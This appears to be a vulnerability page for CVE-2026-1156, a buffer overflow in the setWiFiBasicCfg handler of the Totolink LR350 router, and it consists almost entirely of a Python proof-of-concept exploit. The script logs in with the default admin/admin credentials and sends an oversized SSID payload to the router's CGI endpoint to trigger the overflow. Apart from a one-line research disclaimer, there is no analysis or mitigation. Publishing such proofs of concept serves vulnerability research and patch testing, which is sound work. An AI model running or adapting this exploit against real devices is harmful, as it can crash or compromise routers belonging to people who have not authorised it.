CVE-2026-1156 Totolink LR350 setWiFiBasicCfg缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2026-1156 PoC - Totolink LR350 Buffer Overflow in setWiFiBasicCfg Note: This PoC is for educational and security research purposes only. """ import requests import sys target_host = "http://192.168.10.1" # Change to target router IP login_url = f"{target_host}/cgi-bin/cstecgi.cgi" # Prepare long ssid payload to trigger buffer overflow # The exact overflow length depends on firmware version buffer_size = 1024 # Adjust based on target ssid_payload = "A" * buffer_size def exploit_cve_2026_1156(): """Exploit the buffer overflow in setWiFiBasicCfg function""" # Step 1: Login to the router login_data = { "topicurl": "login", "username": "admin", # Default username "password": "admin" # Default password } session = requests.Session() try: login_response = session.post(login_url, json=login_data, timeout=10) print(f"[+] Login attempt: {login_response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Login failed: {e}") return False # Step 2: Send malicious ssid payload to trigger overflow exploit_data = { "topicurl": "setWiFiBasicCfg", "ssid": ssid_payload, "enable": "1", "channel": "6", "mode": "802.11bgn" } try: response = session.post(login_url, json=exploit_data, timeout=10) print(f"[+] Exploit payload sent (length: {len(ssid_payload)})") print(f"[+] Response status: {response.status_code}") return True except Exception as e: print(f"[*] Request completed with: {e}") return True if __name__ == "__main__": print("=" * 60) print("CVE-2026-1156 PoC - Totolink LR350 Buffer Overflow") print("=" * 60) exploit_cve_2026_1156()